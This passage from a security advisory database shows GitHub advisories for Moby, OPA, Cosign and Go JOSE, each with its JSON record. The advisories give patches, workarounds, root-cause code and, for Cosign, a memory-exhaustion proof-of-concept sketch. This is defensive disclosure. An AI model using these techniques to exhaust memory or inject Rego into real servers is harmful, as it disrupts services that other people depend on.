Docker Desktop.\n\n### Patches\n\nMoby releases 28.0.0 and newer are not affected. A fix is available in moby release 25.0.13.\n\n### Workarounds\nAfter reloading firewalld, either:\n- Restart the docker daemon,\n- Re-create bridge networks, or\n- Use rootless mode.\n\n### References\nhttps://firewalld.org/\nhttps://firewalld.org/documentation/howto/reload-firewalld.html",
  "id": "GHSA-4vq8-7jfc-9cvp",
  "modified": "2026-03-27T17:37:52Z",
  "published": "2025-07-29T19:56:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/security/advisories/GHSA-4vq8-7jfc-9cvp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/pull/49443"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/pull/49728"
    },
    {
      "type": "WEB",
      "url": "https://firewalld.org/documentation/howto/reload-firewalld.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moby/moby"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Moby firewalld reload removes bridge network isolation"
}

GHSA-6M8W-JC87-6CR7

Vulnerability from github – Published: 2025-05-01 17:02 – Updated: 2025-05-05 22:02

Summary

OPA server Data API HTTP path injection of Rego

Details

Impact

When run as a server, OPA exposes an HTTP Data API for reading and writing documents. Requesting a virtual document through the Data API entails policy evaluation, where a Rego query containing a single data document reference is constructed from the requested path. This query is then used for policy evaluation.

A HTTP request path can be crafted in a way that injects Rego code into the constructed query. The evaluation result cannot be made to return any other data than what is generated by the requested path, but this path can be misdirected, and the injected Rego code can be crafted to make the query succeed or fail; opening up for oracle attacks or, given the right circumstances, erroneous policy decision results. Furthermore, the injected code can be crafted to be computationally expensive, resulting in a Denial Of Service (DoS) attack.

Users are only impacted if all of the following apply:

OPA is deployed as a standalone server (rather than being used as a Go library)
The OPA server is exposed outside of the local host in an untrusted environment.
The configured authorization policy does not do exact matching of the input.path attribute when deciding if the request should be allowed.

or, if all of the following apply:

OPA is deployed as a standalone server.
The service connecting to OPA allows 3rd parties to insert unsanitised text into the path of the HTTP request to OPA’s Data API.

Note: With no Authorization Policy configured for restricting API access (the default configuration), the RESTful Data API provides access for managing Rego policies; and the RESTful Query API facilitates advanced queries. Full access to these APIs provides both simpler, and broader access than what the security issue describes here can facilitate. As such, OPA servers exposed to a network are not considered affected by the attack described here if they are knowingly not restricting access through an Authorization Policy.

Patches

Fixed in OPA v1.4.0.

Workarounds

Don’t publicly expose OPA’s RESTful APIs

Unless necessary for production reasons, network access to OPA’s RESTful APIs should be limited to localhost and/or trusted networks. Since OPA v1.0, unless otherwise configured, the server listener defaults to localhost.

Enable Authentication to Only Allow Access to Trusted Clients

A configured authentication scheme is a requirement when OPA is exposed in an untrusted environment. While requiring authentication alone doesn’t mitigate this attack, it effectively reduces the scope from untrusted clients to trusted clients.

Perform Path Validation Using OPA’s Authorization Policy Functionality

OPA can be configured to use an Authorization Policy to validate all incoming requests. By authoring the Authorization Policy to only accept paths corresponding to expected Rego package references, this attack can be fully mitigated.

The HTTP path in a Data API request is of the format /v1/data/{path:.+} (/v0/data/{path:.+}, for the v0 Data API), where data/{path:.+} directly corresponds to a reference to a virtual document, and a prefix of {path:.+} corresponds to a Rego package declaration. E.g. the HTTP path v1/data/do/re/mi corresponds to the data reference data.do.re.mi, where do.re is the package and mi is the rule in the following Rego module:

package do.re

mi if {
    ...
}

Unless otherwise configured, OPA will use the rule at data.system.authz.allow as Authorization Policy. Authorization is enabled by starting OPA with the --authorization=basic flag, and the Authorization policy must be made available to the OPA runtime either through a bundle (via the --bundle flag or through discovery) or as an individual module via the command-line.

A trivial Authorization Policy example:

package system.authz

allowed_paths := [
    ["v1", "data", "policy1", "allow"],
    ["v1", "data", "policy2", "allow"],
    ...
]

allow if {
    input.path in allowed_paths
}

Note: configuring an Authorization Policy in OPA isn't the only way to protect against malicious request paths. Path validation and sanitisation can also be performed by connecting clients and 3rd party intermediaries, such as API gateways, reverse proxies, etc.

Severity

7.4 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/open-policy-agent/opa/v1/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/open-policy-agent/opa/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/open-policy-agent/opa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-01T17:02:58Z",
    "nvd_published_at": "2025-05-01T20:15:37Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen run as a server, OPA exposes an HTTP[ Data API](https://www.openpolicyagent.org/docs/latest/rest-api/#data-api) for reading and writing documents. Requesting a virtual document through the Data API entails policy evaluation, where a Rego query containing a single data document [reference](https://www.openpolicyagent.org/docs/latest/policy-language/#references) is constructed from the requested path. This query is then used for policy evaluation.\n\nA HTTP request path can be crafted in a way that injects Rego code into the constructed query. The evaluation result cannot be made to return any other data than what is generated by the requested path, but this path can be misdirected, and the injected Rego code can be crafted to make the query succeed or fail; opening up for oracle attacks or, given the right circumstances, erroneous policy decision results. Furthermore, the injected code can be crafted to be computationally expensive, resulting in a Denial Of Service (DoS) attack.\n\n**Users are only impacted if all of the following apply:**\n\n* OPA is deployed as a standalone server (rather than being used as a Go library)\n* The OPA server is exposed outside of the local host in an untrusted environment.\n* The configured [authorization policy](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) does not do exact matching of the `input.path` attribute when deciding if the request should be allowed.\n\n**or, if all of the following apply:**\n\n* OPA is deployed as a standalone server.\n* The service connecting to OPA allows 3rd parties to insert unsanitised text into the path of the HTTP request to OPA\u2019s Data API.\n\n**Note:** With **no** Authorization Policy configured for restricting API access (the default configuration), the RESTful Data API provides access for managing Rego policies; and the RESTful Query API facilitates advanced queries. Full access to these APIs provides both simpler, and broader access than what the security issue describes here can facilitate. As such, OPA servers exposed to a network are **not** considered affected by the attack described here if they are knowingly not restricting access through an Authorization Policy.\n\n### Patches\n\nFixed in OPA v1.4.0.\n\n### Workarounds\n\n#### Don\u2019t publicly expose OPA\u2019s RESTful APIs ####\n\nUnless necessary for production reasons, network access to OPA\u2019s RESTful APIs should be limited to `localhost` and/or trusted networks. \nSince OPA v1.0, unless otherwise configured, the server listener defaults to `localhost`.\n\n#### Enable Authentication to Only Allow Access to Trusted Clients ####\n\nA configured [authentication](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) scheme is a requirement when OPA is exposed in an untrusted environment. While requiring authentication alone doesn\u2019t mitigate this attack, it effectively reduces the scope from untrusted clients to trusted clients.\n\n#### Perform Path Validation Using OPA\u2019s Authorization Policy Functionality ####\n\nOPA can be configured to use an [Authorization Policy](https://www.openpolicyagent.org/docs/latest/security/#authentication-and-authorization) to validate all incoming requests.\nBy authoring the Authorization Policy to only accept paths corresponding to expected Rego package references, this attack can be fully mitigated.\n\nThe HTTP path in a Data API request is of the format `/v1/data/{path:.+}` (`/v0/data/{path:.+}`, for the v0 Data API), where `data/{path:.+}` directly corresponds to a reference to a virtual document, and a prefix of `{path:.+}` corresponds to a Rego `package` declaration. \nE.g. the HTTP path `v1/data/do/re/mi` corresponds to the data reference `data.do.re.mi`, where `do.re` is the package and `mi` is the rule in the following Rego module:\n\n```rego\npackage do.re\n\nmi if {\n\t...\n}\n```\n\nUnless otherwise [configured](https://www.openpolicyagent.org/docs/latest/configuration/#miscellaneous), OPA will use the rule at `data.system.authz.allow` as Authorization Policy. Authorization is enabled by starting OPA with the `--authorization=basic` flag, and the Authorization policy must be made available to the OPA runtime either through a bundle (via the `--bundle` flag or through [discovery](https://www.openpolicyagent.org/docs/latest/management-discovery/)) or as an individual module via the command-line.\n\nA trivial Authorization Policy example:\n\n```rego\npackage system.authz\n\nallowed_paths := [\n\t[\"v1\", \"data\", \"policy1\", \"allow\"],\n\t[\"v1\", \"data\", \"policy2\", \"allow\"],\n\t...\n]\n\nallow if {\n\tinput.path in allowed_paths\n}\n```\n\n**Note:** configuring an Authorization Policy in OPA isn\u0027t the only way to protect against malicious request paths. Path validation and sanitisation can also be performed by connecting clients and 3rd party intermediaries, such as API gateways, reverse proxies, etc.",
  "id": "GHSA-6m8w-jc87-6cr7",
  "modified": "2025-05-05T22:02:31Z",
  "published": "2025-05-01T17:02:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-policy-agent/opa/security/advisories/GHSA-6m8w-jc87-6cr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-policy-agent/opa/commit/ad2063247a14711882f18c387a511fc8094aa79c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-policy-agent/opa"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3660"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OPA server Data API HTTP path injection of Rego"
}

GHSA-88JX-383Q-W4QC

Vulnerability from github – Published: 2024-04-11 17:05 – Updated: 2024-04-11 17:05

Summary

Cosign malicious attachments can cause system-wide denial of service

Details

Summary

A remote image with a malicious attachment can cause denial of service of the host machine running Cosign. This can impact other services on the machine that rely on having memory available such as a Redis database which can result in data loss. It can also impact the availability of other services on the machine that will not be available for the duration of the machine denial.

Details

The root cause of this issue is that Cosign reads the attachment from a remote image entirely into memory without checking the size of the attachment first. As such, a large attachment can make Cosign read a large attachment into memory; If the attachments size is larger than the machine has memory available, the machine will be denied of service. The Go runtime will make a SIGKILL after a few seconds of system-wide denial.

The root cause is that Cosign reads the contents of the attachments entirely into memory on line 238 below:

https://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239

...and prior to that, neither Cosign nor go-containerregistry checks the size of the attachment and enforces a max cap. In the case of a remote layer of f *attached, go-containerregistry will invoke this API:

https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40

func (rl *remoteLayer) Compressed() (io.ReadCloser, error) {
    // We don't want to log binary layers -- this can break terminals.
    ctx := redact.NewContext(rl.ctx, "omitting binary blobs from logs")
    return rl.fetcher.fetchBlob(ctx, verify.SizeUnknown, rl.digest)
}

Notice that the second argument to rl.fetcher.fetchBlob is verify.SizeUnknown which results in not using the io.LimitReader in verify.ReadCloser: https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/internal/verify/verify.go#L82-L100

func ReadCloser(r io.ReadCloser, size int64, h v1.Hash) (io.ReadCloser, error) {
    w, err := v1.Hasher(h.Algorithm)
    if err != nil {
        return nil, err
    }
    r2 := io.TeeReader(r, w) // pass all writes to the hasher.
    if size != SizeUnknown {
        r2 = io.LimitReader(r2, size) // if we know the size, limit to that size.
    }
    return &and.ReadCloser{
        Reader: &verifyReader{
            inner:    r2,
            hasher:   w,
            expected: h,
            wantSize: size,
        },
        CloseFunc: r.Close,
    }, nil
}

Impact

This issue can allow a supply-chain escalation from a compromised registry to the Cosign user: If an attacher has compromised a registry or the account of an image vendor, they can include a malicious attachment and hurt the image consumer.

Remediation

Update to the latest version of Cosign, which limits the number of attachments. An environment variable can override this value.

Severity

4.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/cosign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/cosign/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-11T17:05:01Z",
    "nvd_published_at": "2024-04-10T23:15:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA remote image with a malicious attachment can cause denial of service of the host machine running Cosign. This can impact other services on the machine that rely on having memory available such as a Redis database which can result in data loss. It can also impact the availability of other services on the machine that will not be available for the duration of the machine denial.\n\n### Details\nThe root cause of this issue is that Cosign reads the attachment from a remote image entirely into memory without checking the size of the attachment first. As such, a large attachment can make Cosign read a large attachment into memory; If the attachments size is larger than the machine has memory available, the machine will be denied of service. The Go runtime will make a `SIGKILL` after a few seconds of system-wide denial.\n\nThe root cause is that Cosign reads the contents of the attachments entirely into memory on line 238 below:\n\nhttps://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239\n\n...and prior to that, neither Cosign nor go-containerregistry checks the size of the attachment and enforces a max cap. In the case of a remote layer of `f *attached`, go-containerregistry will invoke this API:\n\nhttps://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40\n```golang\nfunc (rl *remoteLayer) Compressed() (io.ReadCloser, error) {\n\t// We don\u0027t want to log binary layers -- this can break terminals.\n\tctx := redact.NewContext(rl.ctx, \"omitting binary blobs from logs\")\n\treturn rl.fetcher.fetchBlob(ctx, verify.SizeUnknown, rl.digest)\n}\n```\n\nNotice that the second argument to `rl.fetcher.fetchBlob` is `verify.SizeUnknown` which results in not using the `io.LimitReader` in `verify.ReadCloser`:\nhttps://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/internal/verify/verify.go#L82-L100\n```golang\nfunc ReadCloser(r io.ReadCloser, size int64, h v1.Hash) (io.ReadCloser, error) {\n\tw, err := v1.Hasher(h.Algorithm)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tr2 := io.TeeReader(r, w) // pass all writes to the hasher.\n\tif size != SizeUnknown {\n\t\tr2 = io.LimitReader(r2, size) // if we know the size, limit to that size.\n\t}\n\treturn \u0026and.ReadCloser{\n\t\tReader: \u0026verifyReader{\n\t\t\tinner:    r2,\n\t\t\thasher:   w,\n\t\t\texpected: h,\n\t\t\twantSize: size,\n\t\t},\n\t\tCloseFunc: r.Close,\n\t}, nil\n}\n```\n\n### Impact\nThis issue can allow a supply-chain escalation from a compromised registry to the Cosign user: If an attacher has compromised a registry or the account of an image vendor, they can include a malicious attachment and hurt the image consumer. \n\n### Remediation\nUpdate to the latest version of Cosign, which limits the number of attachments. An environment variable can override this value.",
  "id": "GHSA-88jx-383q-w4qc",
  "modified": "2024-04-11T17:05:01Z",
  "published": "2024-04-11T17:05:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/security/advisories/GHSA-88jx-383q-w4qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/commit/629f5f8fa672973503edde75f84dcd984637629e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/go-containerregistry/blob/a0658aa1d0cc7a7f1bcc4a3af9155335b6943f40/pkg/v1/remote/layer.go#L36-L40"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/cosign"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/blob/9bc3ee309bf35d2f6e17f5d23f231a3d8bf580bc/pkg/oci/remote/remote.go#L228-L239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/releases/tag/v2.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cosign malicious attachments can cause system-wide denial of service"
}

GHSA-95PR-FXF5-86GV

Vulnerability from github – Published: 2024-04-11 17:15 – Updated: 2024-04-11 17:15

Summary

Cosign malicious artifacts can cause machine-wide DoS

Details

Maliciously-crafted software artifacts can cause denial of service of the machine running Cosign, thereby impacting all services on the machine. The root cause is that Cosign creates slices based on the number of signatures, manifests or attestations in untrusted artifacts. As such, the untrusted artifact can control the amount of memory that Cosign allocates.

As an example, these lines demonstrate the problem:

https://github.com/sigstore/cosign/blob/286a98a4a99c1b2f32f84b0d560e324100312280/pkg/oci/remote/signatures.go#L56-L70

This Get() method gets the manifest of the image, allocates a slice equal to the length of the layers in the manifest, loops through the layers and adds a new signature to the slice.

The exact issue is Cosign allocates excessive memory on the lines that creates a slice of the same length as the manifests.

Remediation

Update to the latest version of Cosign, where the number of attestations, signatures and manifests has been limited to a reasonable value.

Cosign PoC

In the case of this API (also referenced above):

https://github.com/sigstore/cosign/blob/286a98a4a99c1b2f32f84b0d560e324100312280/pkg/oci/remote/signatures.go#L56-L70

… The first line can contain a length that is safe for the system and will not throw a runtime panic or be blocked by other safety mechanisms. For the sake of argument, let’s say that the length of m, err := s.Manifest() is the max allowed (by the machine without throwing OOM panics) manifests minus 1. When Cosign then allocates a new slice on this line: signatures := make([]oci.Signature, 0, len(m.Layers)), Cosign will allocate more memory than is available and the machine will be denied of service, causing Cosign and all other services on the machine to be unavailable.

To illustrate the issue here, we run a modified version of TestSignedImageIndex() in pkg/oci/remote:

https://github.com/sigstore/cosign/blob/14795db16417579fac0c00c11e166868d7976b61/pkg/oci/remote/index_test.go#L31-L57

Here, wantLayers is the number of manifests from these lines:

https://github.com/sigstore/cosign/blob/286a98a4a99c1b2f32f84b0d560e324100312280/pkg/oci/remote/signatures.go#L56-L60

To test this, we want to make wantLayers high enough to not cause a memory on its own but still trigger the machine-wide OOM when a slice gets create with the same length. On my local machine, it would take hours to create a slice of layers that fulfils that criteria, so instead I modify the Cosign production code to reflect a long list of manifests:

// Get implements oci.Signatures
func (s *sigs) Get() ([]oci.Signature, error) {
        m, err := s.Manifest()
        if err != nil {
                return nil, err
        }
        // Here we imitate a long list of manifests
        ms := make([]byte, 2600000000) // imitate a long list of manifests
        signatures := make([]oci.Signature, 0, len(ms))
        panic("Done")
        //signatures := make([]oci.Signature, 0, len(m.Layers))
        for _, desc := range m.Layers {

With this modified code, if we can cause an OOM without triggering the panic("Done"), we have succeeded.

Severity

4.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/cosign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/cosign/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-11T17:15:46Z",
    "nvd_published_at": "2024-04-10T23:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Maliciously-crafted software artifacts can cause denial of service of the machine running Cosign, thereby impacting all services on the machine. The root cause is that Cosign creates slices based on the number of signatures, manifests or attestations in untrusted artifacts. As such, the untrusted artifact can control the amount of memory that Cosign allocates.  \n\nAs an example, these lines demonstrate the problem:\n\nhttps://github.com/sigstore/cosign/blob/286a98a4a99c1b2f32f84b0d560e324100312280/pkg/oci/remote/signatures.go#L56-L70 \n\nThis `Get()` method gets the manifest of the image, allocates a slice equal to the length of the layers in the manifest, loops through the layers and adds a new signature to the slice.\n\nThe exact issue is Cosign allocates excessive memory on the lines that creates a slice of the same length as the manifests. \n\n## Remediation\n\nUpdate to the latest version of Cosign, where the number of attestations, signatures and manifests has been limited to a reasonable value.\n\n## Cosign PoC\n\nIn the case of this API (also referenced above):\n\nhttps://github.com/sigstore/cosign/blob/286a98a4a99c1b2f32f84b0d560e324100312280/pkg/oci/remote/signatures.go#L56-L70\n\n\u2026 The first line can contain a length that is safe for the system and will not throw a runtime panic or be blocked by other safety mechanisms. For the sake of argument, let\u2019s say that the length of `m, err := s.Manifest()` is the max allowed (by the machine without throwing OOM panics) manifests minus 1. When Cosign then allocates a new slice on this line: `signatures := make([]oci.Signature, 0, len(m.Layers))`, Cosign will allocate more memory than is available and the machine will be denied of service, causing Cosign and all other services on the machine to be unavailable.\n\nTo illustrate the issue here, we run a modified version of `TestSignedImageIndex()` in `pkg/oci/remote`:\n\nhttps://github.com/sigstore/cosign/blob/14795db16417579fac0c00c11e166868d7976b61/pkg/oci/remote/index_test.go#L31-L57\n\nHere, `wantLayers` is the number of manifests from these lines:\n\nhttps://github.com/sigstore/cosign/blob/286a98a4a99c1b2f32f84b0d560e324100312280/pkg/oci/remote/signatures.go#L56-L60\n\nTo test this, we want to make `wantLayers` high enough to not cause a memory on its own but still trigger the machine-wide OOM when a slice gets create with the same length. On my local machine, it would take hours to create a slice of layers that fulfils that criteria, so instead I modify the Cosign production code to reflect a long list of manifests:\n\n```golang\n// Get implements oci.Signatures\nfunc (s *sigs) Get() ([]oci.Signature, error) {\n        m, err := s.Manifest()\n        if err != nil {\n                return nil, err\n        }\n        // Here we imitate a long list of manifests\n        ms := make([]byte, 2600000000) // imitate a long list of manifests\n        signatures := make([]oci.Signature, 0, len(ms))\n        panic(\"Done\")\n        //signatures := make([]oci.Signature, 0, len(m.Layers))\n        for _, desc := range m.Layers {\n```\n\nWith this modified code, if we can cause an OOM without triggering the `panic(\"Done\")`, we have succeeded.",
  "id": "GHSA-95pr-fxf5-86gv",
  "modified": "2024-04-11T17:15:46Z",
  "published": "2024-04-11T17:15:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/security/advisories/GHSA-95pr-fxf5-86gv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/commit/629f5f8fa672973503edde75f84dcd984637629e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/cosign"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/blob/14795db16417579fac0c00c11e166868d7976b61/pkg/cosign/verify.go#L948-L955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/blob/286a98a4a99c1b2f32f84b0d560e324100312280/pkg/oci/remote/signatures.go#L56-L70"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/cosign/releases/tag/v2.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cosign malicious artifacts can cause machine-wide DoS"
}

GHSA-C5Q2-7R4C-MV6G

Vulnerability from github – Published: 2024-03-07 22:54 – Updated: 2025-02-13 19:07

Summary

Go JOSE vulnerable to Improper Handling of Highly Compressed Data (Data Amplification)

Details

Impact

An attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). Thanks to Enze Wang@Alioth and Jianjun Chen@Zhongguancun Lab (@zer0yu and @chenjj) for reporting.

Patches

The problem is fixed in the following packages and versions: - github.com/go-jose/go-jose/v4 version 4.0.1 - github.com/go-jose/go-jose/v3 version 3.0.3 - gopkg.in/go-jose/go-jose.v2 version 2.6.3

The problem will not be fixed in the following package because the package is archived: - gopkg.in/square/go-jose.v2

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-jose/go-jose/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-jose/go-jose/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "gopkg.in/go-jose/go-jose.v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "gopkg.in/square/go-jose.v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-07T22:54:44Z",
    "nvd_published_at": "2024-03-09T01:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAn attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). Thanks to Enze Wang@Alioth and Jianjun Chen@Zhongguancun Lab (@zer0yu and @chenjj) for reporting.\n\n### Patches\nThe problem is fixed in the following packages and versions:\n- github.com/go-jose/go-jose/v4 version 4.0.1\n- github.com/go-jose/go-jose/v3 version 3.0.3\n- gopkg.in/go-jose/go-jose.v2 version 2.6.3\n\nThe problem will not be fixed in the following package because the package is archived:\n- gopkg.in/square/go-jose.v2",
  "id": "GHSA-c5q2-7r4c-mv6g",
  "modified": "2025-02-13T19:07:25Z",
  "published": "2024-03-07T22:54:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-c5q2-7r4c-mv6g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-jose/go-jose/commit/0dd4dd541c665fb292d664f77604ba694726f298"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-jose/go-jose/commit/add6a284ea0f844fd6628cba637be5451fe4b28a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-jose/go-jose/commit/f4c051a0653d78199a053892f7619ebf96339502"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-jose/go-jose"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GD2GSBQTBLYADASUBHHZV2CZPTSLIPQJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I6MMWFBOXJA6ZCXNVPDFJ4XMK5PVG5RG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IJ6LAJJ2FTA2JVVOACCV5RZTOIZLXUNJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JNPMXL36YGS3GQEVI3Q5HKHJ7YAAQXL5"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KXKGNCRU7OTM5AHC7YIYBNOWI742PRMY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MSOMHDKRPU3A2JEMRODT2IREDFBLVPGS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UG5FSEYJ3GP27FZXC5YAAMMEC5XWKJHG"
    },
    {
      "type": "WEB",
